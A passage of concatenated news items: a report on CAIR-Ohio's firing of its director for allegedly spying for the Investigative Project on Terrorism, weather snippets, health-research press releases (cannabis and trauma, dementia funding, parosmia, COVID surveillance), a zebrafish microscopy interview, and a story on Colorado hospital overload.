Iqbal had spent years recording CAIR network meetings and passing information regarding CAIRs national advocacy work to a known anti-Muslim hate group," a release said. During a Wednesday briefing, spokesperson Whitney Siddiqi identified the nonprofit as the Investigative Project on Terrorism, led by Steven Emerson, which bills itself as a research organization. CAIR-Ohio said after being confronted with clear evidence of misconduct, Iqbal admitted to secretly working for the group. Iqbal declined comment through his attorney, Dave Thomas. In an emailed statement, IPT said CAIR did not represent American Muslims and called the organization antisemitic. "While the Investigative Project on Terrorism has never and will never monitor the wider American Muslim community, it will not hesitate to uncover and publicly expose radical Islamist activity on American soil by groups like CAIR, which threaten our national security. Siddiqi said IPT has a history of spreading "hate, vitriol and anti-Islamic misinformation. That includes calling CAIR itself a terrorist organization. CAIR spokesperson Edward Mitchell said the group has sent IPT notice of its findings and sent it a legal warning not to destroy any evidence. FBI spokesperson Todd Lindgren said the government does not keep a list of hate groups or terrorist organizations on domestic soil, because the First Amendment protects the rights of all Americans to free speech. Nabeel Raazi, who chairs the board of CAIRs Columbus-Cincinnati region, which Iqbal had overseen since 2018, called his alleged actions a betrayal and incredible violation of trust. We know this is heartbreaking. We know it's shocking," Siddiqi said. We know it is honestly a feeling that many of us can't describe right now. But our work to protect Muslims, to defend Muslims transcends any one individual and, if anything, this has motivated us, this has reinvigorated us to do the work that we do. Siddiqi said local police and the FBI have been alerted to a package containing AR-15 rifle parts that was discovered after Iqbals firing on Tuesday to have been mailed to the group's Columbus office. That package is being held in a secured location, she said. Lindgren said the agency does not confirm or deny investigations. CAIR-Ohio further discovered a series of recent purchases from ammunition and gun retailers from the organization's credit card that Iqbal administered, she said. Siddiqi emphasized that the group does not know who purchased the arms, what exactly was bought or where it was sent. They were able to see the vendors and dates of the transactions, but aren't sharing those because of the prospect of future legal action. The organization sent a letter to the state's Muslim community urging vigilance in the wake of its discoveries, encouraging mosques and community centers to review their security protocols out of an abundance of caution. Ohio is home to an estimated 200,000 Muslims. The group's board of directors has appointed Amina Barhumi acting executive director and Lina Abbaoui acting legal director. CAIR-Ohio said the probe determined Iqbal, who joined CAIR-Ohio in 2006, wasn't helped by any other employees. The group emphasized that its local assets, operations and infrastructure are safe and secure. Siddiqi said the locks have been changed at its Columbus office, as would happen after any change in leadership. She said CAIR knows of no imminent threats. Newport, OR (97365) Today Windy with rain likely. Low 49F. Winds SSW at 20 to 30 mph. Chance of rain 100%. Rainfall near a quarter of an inch.. Tonight Windy with rain likely. Low 49F. Winds SSW at 20 to 30 mph. Chance of rain 100%. Rainfall near a quarter of an inch. Champaign, IL (61820) Today Partly cloudy this evening, then becoming cloudy after midnight. Low near 10F. Winds WNW at 15 to 25 mph.. Tonight Partly cloudy this evening, then becoming cloudy after midnight. Low near 10F. Winds WNW at 15 to 25 mph. Childhood trauma may increase the chance of young people experiencing psychotic symptoms when using cannabis, University of Queensland research has found. UQ School of Psychology Honorary Fellow, Dr Molly Carlyle, said childhood trauma was a major factor in cannabis use problems and psychosis in young people. "Our research found cannabis use was associated with more psychotic-like experiences, and this association was stronger for people with more experiences of childhood trauma," Dr Carlyle said. "Similarly, people who experienced more childhood trauma were more likely to engage in more harmful cannabis use. "They also experienced more dysphoria/paranoia when using cannabis, which was also linked to psychotic-like experiences. "Any history of childhood trauma should be addressed as part of treatment services for cannabis use problems and psychotic disorders." The research team analysed responses from 2630 young people about their use of the drug, history of childhood trauma, psychotic-like experiences and subjective effects such as euphoria, dysphoria or paranoia when using cannabis. The questions were part of a larger randomised-controlled trial led by Professor Leanne Hides from UQ's School of Psychology. The trial tested a new a web-based treatment for cannabis use and psychotic experiences in young people aged 16-25, which also addressed the role of trauma as a risk factor for psychotic experiences. Psychotic experiences can include symptoms such as delusions and hallucinations, which increase the risk of substance use, depressive or anxiety disorders and psychotic disorders. Participants were recruited from across Australia to examine the efficacy of the web-based early intervention program for psychosis and cannabis use. Access to effective web-based early interventions is increasingly important and could reduce risk in young people." Professor Leanne Hides, UQ's School of Psychology Women's Brain Health Initiative (WBHI), Canadian Institutes of Health Research (CIHR), and Brain Canada are pleased to announce that Dr. Mario Masellis has been selected to receive funding as part of the European Union Joint Programme on Neurodegenerative Disease Research (JPND)'s initiative on linking pre-diagnosis disturbances of physiological systems to neurodegenerative diseases. The three organizations are pleased to contribute to the funding of this project with a $320,198 grant. In early 2021, JPND, the largest global research initiative aimed at tackling the challenge of neurodegenerative diseases, launched a transnational call to fund ambitious, multinational, and multidisciplinary collaborative research projects aimed at identifying and measuring the physiological factors, and their related biomarkers, as well as the causal underlying processes linked to the development of neurodegenerative diseases. Through this program, Brain Canada, CIHR, and WBHI are co-funding Dr. Masellis' innovative project that specifically includes a sex-based analysis. This grant is an incredible support which will help inform future strategies for prevention in the pre-symptomatic or 'at risk' phase of dementia. This study will harness the power of international expertise, teamwork, and collaboration which are critical elements in studies of dementia." Dr. Masellis, Scientist, Sunnybrook Research Institute Researchers in Canada, Italy, Sweden, the Netherlands, and the Czech Republic are collaborating with Dr. Masellis to examine the interplay between an individual's genetic, demographic (including sex, age and education), and cardiovascular background to determine how they may interact to increase the risk of developing dementia and/or worsen how dementia is presented. Together, the team will leverage data from several dementia cohorts, spanning a number of diseases including Alzheimer's, Parkinson's, vascular cognitive impairment, and more. The goal of this project is to help improve the management and prevention of dementia in the future while ultimately reducing its impact on people in Canada and all over the world. "We know that brain aging diseases disproportionately affect women," says WBHI Founder and CEO Lynn Posluns. "Projects, such as this one, that take into account sex and gender differences will improve the lives of so many people in Canada and around the world." Integrating sex as an independent variable in research will improve the way health interventions are designed, measured, analyzed, reported, and implemented. Research approaches that consistently account for sex differences drive innovation and scientific rigour and reduce health inequities for previously underrepresented voices. Funding for this grant was made possible through the Stand Ahead Challenge, WBHI's annual campaign to support women's brain health and raise money for vital sex-based research and preventative health education. Brain Canada matches the first $250,000 raised through the Challenge in support of innovative brain research that considers sex and gender differences. "By partnering with WBHI, and funding projects that effectively consider sex differences, Brain Canada seeks to support research that is more generalizable to everyone," says Dr. Viviane Poupon, President and CEO of Brain Canada. "Together, we hope to enable more effective research for a broader range of patients suffering from neurodegenerative diseases." "The CIHR Institute of Aging is pleased to partner with Brain Canada and the Women's Brain Health Initiative to support global research on neurodegenerative diseases," adds Dr. Jane Rylett, Scientific Director, CHIR Institute of Aging. "Collaborative research projects can go a long way in detecting these diseases earlier in life, accelerating treatments, improving diagnosis and ultimately, finding a cure." This project has been made possible with the financial support of Health Canada, through the Canada Brain Research Fund, an innovative partnership between the Government of Canada (through Health Canada) and Brain Canada, Women's Brain Health Initiative (WBHI), and Canadian Institutes of Health Research (CIHR). Research conducted in the Centre for Health and Society at Aston University has been used to inform the design of a new website to support people in advance care planning. The Planning Ahead website, launched on 10 December, is supported and hosted by Hospice UK, the national charity working for those experiencing dying, death and bereavement. Dr Alexis Paton, a lecturer in social epidemiology and the sociology of health, whose research focuses on how sociology and medical ethics can improve healthcare services, spent 18 months working with stakeholders on the research used to develop this resource. To support the launch of the website, end of life care consultant and best-selling writer Dr Kathryn Mannix has written about the planning tool to explain why individuals might find it helpful. Alexis Paton, co-director of the Centre for Health and Society at Aston University, said: "Everyone has the right to make choices about how they want to live, based on what matters most to us. We are each unique, with different ideas about what matters most to us, and so we make different choices in our lives. This is no different when it comes to healthcare. When faced with an illness and decisions to make about that illness, we all make different choices about how we would like to be treated. "It is not always possible to make these important healthcare decisions when we are ill, and so this website is about thinking ahead about some of those choices and what we would want to happen in the future. Doing so allows us to consider what matters most to us, and writing them down helps us ensure our decisions are honored when we are illespecially when we are not able to make decisions ourselves. "Advance planning is for everyoneall ages, all states of health. We hope this website helps encourage more conversations with those we love about our wishes and choices for our future health. "The website is a 'work in progress', as we can always learn more about how to support people making healthcare decisions. Patients, professionals and the public are encouraged to take a look and offer feedback to the development group via an embedded link to Aston University's Centre for Health and Society." You can find out more about the work of the Centre for Health and Society on its website. Sudden smell and taste loss has become a well-known symptom of COVID-19. However, some people have also woken up to discover that their usual beloved coffee odor has been distorted and now smells like garbage or rotting meat, a condition known as parosmia. Others smell cigarette smoke, for example, when no odor source is present, a condition called phantosmia. Now, investigators at the Monell Chemical Senses Center have teased out the differences between these two conditions and describe them in the peer-reviewed journal Chemical Senses. Knowing the distinct patterns of demographics, medical history, and quality-of-life issues associated with each condition may provide insight into the organization and function of the olfactory system, as well as help physicians better treat their patients. "It's clear from our results that these distortions in smell are distinct and common among those with smell impairment," said lead author Robert Pellegrino, PhD, a Monell postdoctoral fellow. "Identifying patterns in these conditions is a first step to discovering their underlying biological cause. "We hope this work will attract more research on the reason for these conditions, followed by intervention to help these patients." For example, the team discovered that parosmia tends to occur three to six months after smell loss, so while this smell distortion has a huge effect on quality of life, it typically resolves faster than phantosmia or smell loss. "And that's extremely useful for some patients to know," he added. Despite the obvious differences between parosmia and phantosmia, most studies do not separate them in their analyses and have not gathered quantitative data, instead relying on narratives of anecdotal patient experiences. Pellegrino suspected there might be important lessons to learn by studying what is unique about each condition. He designed a survey that produced quantitative data to describe each state, which allowed him to compare and make conclusions about the differences between the conditions. From this, they created a severity metric for research and clinical use, based on the combined frequency and duration of distortion episodes. There are major differences in patients' experiences with these distortions, with some more severe than others and the capacity to cause significant impact on their quality of life. For instance, these patients frequently report that they are continually reminded of their disorder, which may lead to such mental health conditions as depression." Robert Pellegrino, PhD, lead author, a Monell postdoctoral fellow The team surveyed over 2,100 people with at least one olfactory disorder acquired during their lifetime. They found that odor distortions were common at 46 percent, with respondents reporting either parosmia at 19 percent, phantosmia at 11 percent, or both at 16 percent. They used an online questionnaire distributed globally in English, with the United Kingdom and the United States representing the largest proportion of respondents. Primary areas of recruitment were the website of the patient advocacy group AbScent and social media posts to AbScent's Facebook and Twitter accounts. Survey data were collected between May 2019 and October 2020. The distinctions between the disorders include: Age and Gender: Parosmia patients were more likely to be female and younger than individuals who were phantosmic or had full (anosmic)/partial smell loss (hyposmic). In contrast, phantosmia was more prevalent in 4150 years olds, and anosmia or hyposmia was more prominent in older individuals. There were no differences in gender between phantosmic vs. anosmic or hyposmic sufferers. Cause: Viral infection led to parosmia more often than other smell disorders, while traumatic impact to the head led to phantosmia more often than other disorders. Improvement timeline: Parosmic individuals were more likely to say their condition improved over time and recovery coincides with the timeline of physiological recovery. On the other hand, phantosmia was more stable, with no change in improvement across time. Triggers: Most parosmic patients cited specific distorted sources of smell, while only a few phantosmic individuals could identify a source of their smell distortions. When describing the triggers of distorted smelling episodes, parosmic individuals cited odors, such as roasted coffee or garlic. In contrast, phantosmic sufferers noted locations, time, specific sensory input, stress, or memories. The neurological mechanisms of parosmia and phantosmia are still debated among scientists. The Monell team's work supports a parosmia hypothesis that a sensory neuron (located in the nose) tuned to one odor mistakenly signals the presence of a different odor. "This miswiring may create a flip in the odor perceived, with good odors smelling bad and bad odors smelling good," said Pellegrino. Phantosmia, on the other hand, might happen if the brain is discharging sporadic signals, leading to odor hallucinations in an individual. Next steps to untangle the cause include confirming these ideas in animal models and translating findings back into treatments to help the patients who report a dramatic impact to their quality of life. In a recent study published on the medRxiv* preprint server, a team of researchers critically evaluated the performance of public health surveillance systems in detecting coronavirus disease 2019 (COVID-19) community outbreaks in Australia while simultaneously characterizing the epidemiology of the novel outbreaks between November 1, 2020, to June 30, 2021. Australia successfully eliminated local community transmission of the severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) by June 2021. Continuing this success would require ongoing investment in maintaining surveillance systems and testing all international arrivals, alongside increasing genomic sequencing capacity. Study: Opening up safely: public health system requirements for ongoing COVID-19 management based on evaluation of Australia's surveillance system performance. Image Credit: DesignPrax / Shutterstock.com About the study The researchers of the present study characterized existing surveillance systems using peer-reviewed and publicly available data, studied the epidemiological characteristics of new outbreaks during the study period, and determined the sensitivity and timeliness of surveillance systems in outbreak detection. They integrated these findings with studies of other critical COVID-19 public health measures to assess future COVID-19 management requirements. Sensitivity measures the number of new outbreaks divided by the total number of new outbreaks in the study period. Comparatively, timeliness measures the delay between the primary case and reporting date of the index case. Epidemiological data were obtained from State/Federal government websites and media sources, whereas information related to the data system characteristics, per capita testing rates, and wastewater surveillance sites in operation, was acquired through the characterization of surveillance systems. In addition, the outbreaks were analyzed quantitatively and characterized to gather data of index cases, first diagnosed cases, total cases at the time of identification of the first case, and other important case detection factors. Study findings The surveillance system detected outbreaks due to the SARS-CoV-2 Delta variant through community-based surveillance for symptomatic disease. The remaining cases were detected through screening of overseas travelers and staff of quarantine facilities. Interestingly, all outbreaks in 2021 were due to novel SARS-CoV-2 variants of concern (VOCs). COVID-19 outbreaks were detected, on average, within five days of detection of the primary case. The study results confirmed that wastewater surveillance was of limited utility due to its low sensitivity and specificity. However, in the period following the study from July-August 2021, two outbreaks were preceded by unexpected positive wastewater surveillance results. This suggests that wastewater detection may be more sensitive when variants with a higher viral load, such as the SARS-CoV-2 Delta variant, are responsible for them. Wastewater surveillance may also be of some value in areas adjacent to outbreaks that have not reported community transmission cases. The researchers identified 25 epidemiologically distinct COVID-19 outbreaks in Australia with five clusters of cases. All these outbreaks were a result of breaches in quarantine facilities housing international travelers, as revealed by genomic sequencing studies. Of these, 21 cases occurred in the community at a testing rate of an average of 2.07%. The testing rate was higher for individuals in whom COVID-19 was detected when outbreaks were ongoing. Out of 30 cases, nine were detected through quarantine screening. The data showed that in 17 of these 30 cases, there was a delay of 4.9 days, on average, from detection of the primary case to the index case, with 10 cases detected within five days and three cases after more than seven days. Discussion and conclusions During the study period, when local SARS-CoV-2 transmission cases were eliminated and novel introductions through overseas arrivals were limited, community-based surveillance and routine screening of residents and staff in overseas quarantine facilities led to early and comprehensive detection of new outbreaks in the community. The study results suggest that while epidemiological investigation and comprehensive genomic sequencing effectively helped in identifying transmission sources and outbreak clusters, more effective strategies and concerted efforts would be needed to continue doing so in the future. A surveillance strategy for future SARS-CoV-2 VOCs would require a 100-1,000-fold increase in capacity for genomic sequencing to show similar performance in detecting variants as Australia had in detecting novel outbreaks of SARS-CoV-2. After vaccination coverage is optimized, the priority for surveillance will need to be shifted to detect novel SARS-CoV-2 VOCs associated with increased severity of disease in those who are vaccinated and vaccine ineligible. However, the most crucial factor that will affect the prevention of current and future SARS-CoV-2 transmission and Australia's capacity to reopen society safely will be government support across all community sectors. *Important notice medRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information. Local medical device manufacturer, Bedfont Scientific Ltd., returns to the era it all began for its 45th birthday. Image Credit: Bedfont Scientific On 8th December, Kent Med-tech company, Bedfont Scientific Ltd. celebrated 45 years of business with a 1970s themed party. The Bedfont Family celebrated with costumes from prominent 70s characters, 70s party games, 70s party food, and a video tribute from a number of employees and distributors who have contributed to the business since 1976. Image Credit: Bedfont Scientific Jason Smith, Managing Director, remarks, Back in 1976 the incidence of serious hazards related to medical gas supply systems was described as alarming. My favourite inspirational quote is a pessimist sees the difficulty in every opportunity, an optimist sees the opportunity in every difficulty from Winston Churchill. I think this describes very aptly how my godfather, John Marron, went on to design and manufacture Bedfonts first ever product; the TM3 Medi-Gas Check for ensuring gas supply systems were safe before use". insights from industry Jason Otterstrom PhD and Alexandra Lubin PhD Application Scientist and Research Associate IDEA Bio-Medical and UCL Cancer Institute In this interview, News-Medical talks to Dr. Alex Lubin and Dr. Jason Otterstrom, about the use of deep learning powered automated microscopy and image analysis for in vivo Zebrafish screening. Hermes for Zebrafish Intro Movie Play Video credit: IDEA Bio-Medical What is the typical process for imaging zebrafish? Young zebrafish embryos are taken at around three days post fertilization and placed into a 96-well plate. We use one embryo per well, loaded via standard pipette with a wide bore tip. The embryos can then be imaged with several types of microscopes and techniques, for example, using brightfield or fluorescence. We use the Hermes WiScan automated high content screening microscope from IDEA Bio-Medical. We in the Payne group take four overlapping images along each well at five different z-slice positions. This captures the whole embryo an important consideration because it is a 3D animal. The most in-focus slice is chosen of the brightfield images, and we perform maximum intensity projections on the fluorescent images. We use Hermes software to batch process our datasets. The resulting montages provide two images for each embryo - one in brightfield and one in fluorescence. We use a transgenic green fluorescent protein (GFP) which has the gene CD41 tagged with green fluorescence to label hematopoietic stem cells. We are interested in visualizing and measuring the number of GFP-cells located specifically in the tail and study how different compounds affect them. Image credit: IDEA Bio-Medical What is the biggest difficulty you encounter with zebrafish? For us, imaging of large numbers of zebrafish is relatively straightforward. We encountered major bottlenecks when looking to automate analysis of the images. Ultimately, we overcame this challenge by collaborating with IDEA Bio-Medical to help develop an automated analysis application within their WiSoft Athena software. Regarding the difficulties in analysis, the first is that these fish are living and 3D, so they are unlikely to be positioned perfectly or uniformly in the wells. In a large-scale automated drug screen, it is impractical to go through the images manually to exclude those fish that are improperly positioned. Another key analysis challenge is the ability to examine one specific anatomical region of the zebrafish embryo, while ignoring others. For example, when looking at cells in the tail, standard fluorescence analysis using thresholding picks up bright spots elsewhere in the fish, either from cells located in the blood or autofluorescence. It is common to manually select the region of interest, but this makes it impossible to automate the workflow and reduces the accessible drug library size. Another method involves adapting software developed for cell-based screening, particularly software that allows users to look for fluorescent structures within other structures. However, we still found that this was picking up fluorescence in the other areas that we were not interested in. None of these methods were wholly suitable. Could you elaborate on how the Hermes WiScan microscope and the WiSoft Athena software support your study of zebrafish embryos? The WiScan Hermes is a fully automated microscope for high content screening. If any of your readers are unfamiliar with high content screening, it is the automated and unbiased acquisition and analysis of microscopy images. This methodology is commonly used in drug discovery to identify and confirm biologically active compounds that cause a biological effect which is visualized within the microscopy images. The Hermes platform consists of the automated microscope and the accompanying WiSoft Athena image analysis software. Together, these enable the imaging and analysis of a broad range of biological samples with minimal user intervention. The Hermes is an inverted wide-field microscope. Its most unique aspect is that the objective is moving during a sample scan, leaving the sample remains largely stationary. This means that a plate or other sample type is not jostled about or shaken, as is commonly the case when the microscope stage is used for sample scanning. Moving the objective and not the sample ensures gentler handling during the imaging of delicate samples. The objective can move in all three directions - X, Y and Z so z-stack acquisition is supported. Since the objective is relatively small and light, it also enables rapid scanning of a broad range of samples. The Hermes can scan a 96-well plate in just under 2 minutes and a 384-well plate in about 5 minutes and 30 seconds. Such reference scans are set to image in four colors with one field-of-view & z-slice per well with 50 milliseconds exposure per color. The system also includes a laser-based auto focus that is compatible with round-bottom plates. Round-bottom plates are commonly used with 3D cell cultures, but these have also been used as a novel method to orient zebrafish and facilitate imaging of their head/brain region. The Hermes supports objectives with magnifications from 2X to 60X, and we utilize only the highest quality Olympus objectives. Our standard system is compatible with air objectives, and we offer upgrades to permit the use of oil or water immersion objectives. Designed specifically for zebrafish researchers, the Hermes Zebrafish Partner contains all the elements necessary for automated full-plate scanning and image analysis of zebrafish larvae. It has two fluorescence colors plus brightfield, a single objective of choice and an attractive price point that fits into research budgets. How are zebrafish images analyzed in the Athena software? The zebrafish-specific platform was inspired by the needs of researchers who use this biological model system. Their bottlenecks and challenges prompted us at IDEA Bio-Medical to develop a new solution to fully automated high content imaging and analysis of zebrafish embryos. With this platform, we aim to facilitate drug, genetic or toxicological screening studies that use fish and thereby increase the accessible throughput. The Athenas underlying deep learning AI allows parameter-free analysis of zebrafish morphology and anatomy in brightfield images. The AI not only outlines the fish contour but it also identifies the eye, the otic vesicle, the yolk sac, the swim bladder, the heart, the spine or notochord, the tail fin and three body regions: the head, the trunk and the tail. All these structures are identified in simple brightfield images without the need for user-defined parameters. And for each structure, the software quantifies morphology in terms of the area, the perimeter and the shape. Each object that is automatically identified in the fish can also be manually segmented or edited using the softwares Manual Analysis tools. Brightfield image structure and information is combined with fluorescence data to extract rich and anatomically relevant information. The software quantifies the total fluorescence intensity and/or count of the number of fluorescent objects identified within each structure. Once analyzed, fish can be classified after processing to identify populations or groups that are of interest or select desired embryo orientations. Lastly, the imaging and analysis can be used with time-lapse and/or z-stack images. Overall, the biggest advantage is that it only takes about an hour to fully process a 96-well plate, including imaging and analysis. In detail, we need approximately 5 minutes to prepare the plate, around 15 minutes for imaging, 10-20 minutes to process the images and another 10-20 minutes to run the Athena software to get the data out. This throughput makes it feasible to screen larger compound libraries and moves the workflow bottleneck to other sample handling and processing steps. Could you tell our readers more about the use of the Hermes platform in practice? One project where we apply the zebrafish model, and the workflow we have described, is to study two types of blood cancer. Myelodysplastic syndrome (MDS) and acute myeloid leukemia (AML) are most common with aging, occurring due to mutations in the hematopoietic stem and progenitor cells. In our lab, we are particularly interested in a phenomenon called CHIP (clonal hematopoiesis of indeterminate potential) - an age-related phenomenon where, as you develop mutations naturally as you age, you develop a driver mutation that gives those cells a clonal advantage. If cells with this mutation develop, the cell population suddenly starts to expand significantly. MDS and AML can then develop if this clonal population gain further mutations. There are several driver mutations in genes, including DNMT3A and ASXL1. Our goal is to perform a drug screen that targets mutations in these genes and clonal populations. This could potentially be used as a therapeutic for MDS or AML, particularly as the therapeutics for these diseases are often very invasive and not suitable for people who are older with slightly milder disease. It could also potentially be used in a pre-malignant state before disease develops when the initial clonal expansion is occurring. The hematopoietic system in zebrafish is remarkably similar to that of humans. They have all the same types of blood cells as humans, but they develop much faster. Zebrafish go into definitive hematopoiesis from about 48 hours, which means we can look at hematopoiesis in these samples whilst they are relatively young, transparent embryos. For this project, we opted to evaluate this after three days. The gene we are focusing on initially is DNMT3A, which encodes for a DNA methyltransferase. This is the most commonly mutated driver gene in MDS and AML. There is a particular hotspot called R882 that is commonly mutated. Zebrafish have two copies of DNMT3A - DNMT3AA and AB. There is a very good correlation between these two orthologues and the human gene, with an identical amino acid sequence present at the R882 hotspot. We have used CRISPR in one-cell stage embryos to generate some knock-out lines for DNMT3AA and AB around this R882 hotspot. We have generated a stable knock-out line for both orthologues. On day 3, the HSCs (hematopoietic stem cells) that we are interested in are located in the caudal hematopoietic tissue (CHT) at the very base of the tail of the zebrafish. We use a transgenic fluorescent line called CD41:GFP to visualize the CD41-expressing stem cells and investigate their numbers. Our goal, in terms of drug screening, is to take wild-type embryos and the DNMT3A mutants we have made, treat these with a variety of drugs from a drug library, and look for compounds that cause a depletion in the number of mutant cells but leave the wild-types unaffected. Essentially, we are looking for synthetic compounds that only target the mutant cells. To investigate this, we image, analyze and quantify the embryos with the Hermes WiScan using the approach outlined earlier. We ideally want the zebrafish to be aligned on their side, so we use zebrafish alignment plates from a company called Hashimoto. Our overall goal is to count the stem cells of interest. We must count fluorescent spots in the fish, but only keep those present in the tail and from embryos properly oriented on their side. Athena can achieve all these requirements in a fully automated fashion. Once you had the stem cell counts from the study, how did you analyze and confirm the accuracy of these? The first thing we wanted to do was see how well these results correlated with manual counting. We found that this correlated well with a Pearson Correlation Coefficient of 0.84. We also wanted to look at different ages; for example, the stem cells start to migrate to the CHT region at two days. The population there starts to increase over time a pattern which we can see clearly and track with the Athena software. It was also important to evaluate things that we already knew would reduce the number of stem cells to confirm biological relevance. X-ray radiation is known to destroy stem cells, so we treated zebrafish embryos with X-ray radiation and imaged them at three days. We confirmed that the software extracted the expected large drop in the stem cell numbers with mid-range radiation dose, and detected a smaller drop with higher dose. We also looked at a more subtle stem cell phenotype type using another mutant that we had in our lab with a known phenotype; an RPS14 mutant - a ribosomal protein that is also linked to MDS. In a knock-out line, we detected no phenotypic difference between the heterozygous and wild-type embryos without stress. We discovered that following application of phenylhydrazine (a haemolytic stress), which causes anemia, only the wild-type embryos recover through an increase in stem cells to produce more red blood cells. We did not observe recovery in the mutants[i]. We observed and investigated all these processes using Hermes and Athena together, highlighting how useful this platform is in drug screening applications such as ours. What about drug screening, have you tried screening your fish lines in this context? To perform the drug screening itself, we start with the DNMT3AA wild-type and AB wild-type siblings to get embryos that are known to be wild-type. We then took the homozygous DNMT3AA and crossed these to the homozygous DNMT3AB, resulting in double heterozygous embryos for both 3AA and 3AB. This combination allowed us to drug treat these to look for compounds that cause a reduction of stem cells in the double heterozygous animals, without affecting the wild type embryos. At 24 hours, we treated the embryos with PTU to prevent pigment format, dechorionated them and then placed these into 12-well plates where we treated them with drugs for 48 hours. Drugs were defined by the Tocris library initially, which is a library of 1,120 biologically active compounds. The embryos are loaded into alignment plates for imaging on day 3. Running the imaging in the Athena allows the acquisition of HSC counts. So far, we have tested around 400 compounds. There have been some initial hits, but none of these have been retested at this stage. What sort of other applications or analyses can be completed using the Hermes and Athena platform? Whilst we were using the Athena, we began to realize how flexible and easy to use it was even for researchers without a background in microscopy or image analysis. We began to explore its suitability for other applications and have just had a paper accepted for publication on this subject[ii]. We investigated the platforms potential for working with double transgenics since the Hermes is capable of imaging many different colors and the Athena can analyze these images. We discovered that it was possible to use double transgenics to look at different types of blood cell in the same animal and tested them using irradiation. We also looked at the potential for analyzing acridine orange - a fluorescent apoptosis marker used in toxicity screening. There, we confirmed the quantification accuracy using irradiation to induce and measure cell death. Another quite common fluorescence assay is known as a hair cell assay because it highlights fluorescent hair cell markers. These assays are used to look for ototoxicity, and it was possible to investigate this fluorescence using the Hermes and Athena platform. When looking to confirm the accuracy of these analyses, we took pre-published data from 2008 and attempted to recreate the results, aiming to see if it was possible to achieve the same results with the Hermes as the study had via manual image analysis. We adjusted the parameters to look at the larger fluorescent granules, and then we looked at the total intensity of them and the granule area, confirming that both parameters could replicate the results found in the publication. Another interesting application we evaluated was the platforms potential to measure angiogenesis and inhibition of angiogenesis. This is of interest for the treatment of solid tumors, and there are several anti-angiogenic compounds currently used in cancer treatment. We also used pre-published data to confirm accuracy here, using data from a different type of automated screen performed in 2007. The study focused on two compounds that increase in anti-angiogenic properties with increasing concentration. We were able to set Athena to measure the blood vessels and looked at the total mCherry area in the fish as defined by those blood vessels. We were able to confirm that the reduction caused by these compounds matched the results from the published data. Finally, I should point out that the Athena software can accept images from third-party microscopes. We are currently preparing a new product that is a standalone version of our analysis software. This software is designed to work specifically with images that are not from the Hermes. About the interviewees Dr. Otterstrom is an application scientist for IDEA Bio-Medical. He has a diverse background in biophysics including microscopy, optical design, image analysis and sample labeling. His expertise is adapting biological assays to benefit from utilization of automated microscopy methods. Dr. Lubin is a post-doc at the UCL Cancer Institute where she uses zebrafish to study myelodysplastic syndrome (MDS) and acute myeloid leukaemia (AML), aiming to develop novel therapeutic treatments. Previously, she obtained her PhD in Chemical Biology from Imperial College London after studying Chemistry at the University of Cambridge. About IDEA Bio-Medical Ltd. IDEA Bio-Medical is founded in 2007 through a partnership between Weizmann Institute of Science and IDEA Machine Development. The company specializes in automated imaging systems and image analysis software, offering a broad range of biological applications based on the companys unique algorithms library. The WiScan Hermes system incorporates the most advanced technologies for fast plate scanning to generate sharp, high-contrast images. The easy-to-use WiSoft Athena software maintains high sample throughput with a fast-analysis algorithms library. Specifically for zebrafish research, the AI-powered zebrafish analysis application quickly and easily quantifies anatomically relevant metrics from large, montaged images. The Hermes platform enables high-impact science, illustrated through the more its than 100 citations from researchers around the globe. [i] Pena, O.A.; Lubin, A.; Hockings, C.; et al. TLR7 ligation augments hematopoiesis in Rps14 (uS11) deficiency via paradoxical suppression of inflammatory signaling. Blood Adv. 2021, 5(20): 4112-4124. DOI: https://doi.org/10.1182/bloodadvances.2020003055 Harold Burch's home has a spectacular view in Paonia, a rural part of Colorado's Western Slope at the foot of Mount Lamborn. But the landscape has been little consolation to the 60-year-old as he has battled a cascade of health problems during the pandemic. "Its been a real rodeo," Burch said. "Its been a lot of ups and downs and lately its been mostly just downers." Burch has battled chronic osteoarthritis and rheumatoid arthritis and has had two major intestinal surgeries. One specialist he was seeing left her practice last year. Another wouldn't accept his insurance. Then, Nov. 1, he started experiencing major stomach pain. "When we talk terrible problems, I cant leave the house," he said. He hasn't eaten anything substantial in three weeks, he added. Burch had to wait that long to be seen by a primary care doctor. He said the doctor told him, "'If things were different, I would tell you to go to the hospital and be diagnosed, have some tests run and see whats going on with you.' But he says, 'As of today, Delta County hospital is clear full. There are no beds available.'" The covid variant delta has overwhelmed the Colorado county of the same name. Hospitals on the Western Slope have been slammed for weeks, and the statewide picture is similarly grim. As of Monday, the state's coronavirus website reported 1,294 patients hospitalized with covid-19. Half of the state's hospitals said they anticipated a staffing shortage in mid-December; more than a third of them anticipated bed shortages in their intensive care units at the same time. And behind those numbers, patients are feeling the impact. Burch's doctor told him he might have to wait hours in the emergency room, perhaps with people who have flu or covid symptoms. So Burch stayed home. He's fully vaccinated. But just 57% of eligible people in Delta County have received at least one dose of a covid vaccine. And 84% of hospitalized covid patients in Colorado are not vaccinated. "Its really frustrating because I did the right thing and like so many other people have, and were being just kind of like told, 'Unless you have a really serious problem, like a heart attack, a stroke, youre going to have a baby or something like that, we really dont have time to mess with you,'" Burch said. "I mean, its just wrong." Burch's situation is not uncommon this fall, as the state faces its second-worst covid surge for hospitalizations and deaths. Hospitals are under tremendous strain and that means delays and changes from normal care, as strapped providers do more with less. "Hospitals across Colorado are in critical condition. We have been at 90%-plus capacity in our ICU and acute care beds for weeks now. And unfortunately, there doesn't appear to be an end to that situation in the near future," said Cara Welch, a spokesperson for the Colorado Hospital Association. Diann Cullen, 72, a retiree in Broomfield, Colorado, was told by her doctor that her hernia surgery would have to be postponed for weeks. Her reaction: "Frustration, extreme frustration, actually anger, because I said a bad word. He flat-out told me we cant even do it because of too many covid patients." The combination of too many covid patients, the need to treat those who delayed care and staff shortages have pushed hospitals into crisis, said Robin Wittenstein, CEO of Denver Health, which runs one of the state's biggest hospital and clinic systems. "Theyre coming into hospitals now sicker than ever before. And theyre coming in larger numbers than weve ever seen before," Wittenstein said on the day when most metro-area counties announced they were enacting a new indoor, public mask mandate. "Our system is on the brink of collapse." At the academic medical center UCHealth, Dr. Abbey Lara said the crush of unvaccinated patients in the ICU means patients face longer waits or they don't get much-needed diagnostic tests. In the worst-case scenario, "patients who could have survived something had their life cut short because they werent able to access care," she said. And when there are too many patients being treated by too few staffers, Lara said, that ratchets up the difficulty for providers. "I just worry that theres going to be not only a lot of turnover in the near future," Lara said. "But I think that access to health care is just going to get even worse in the future." Lara predicted the effects of the pandemic will be felt long after the emergency 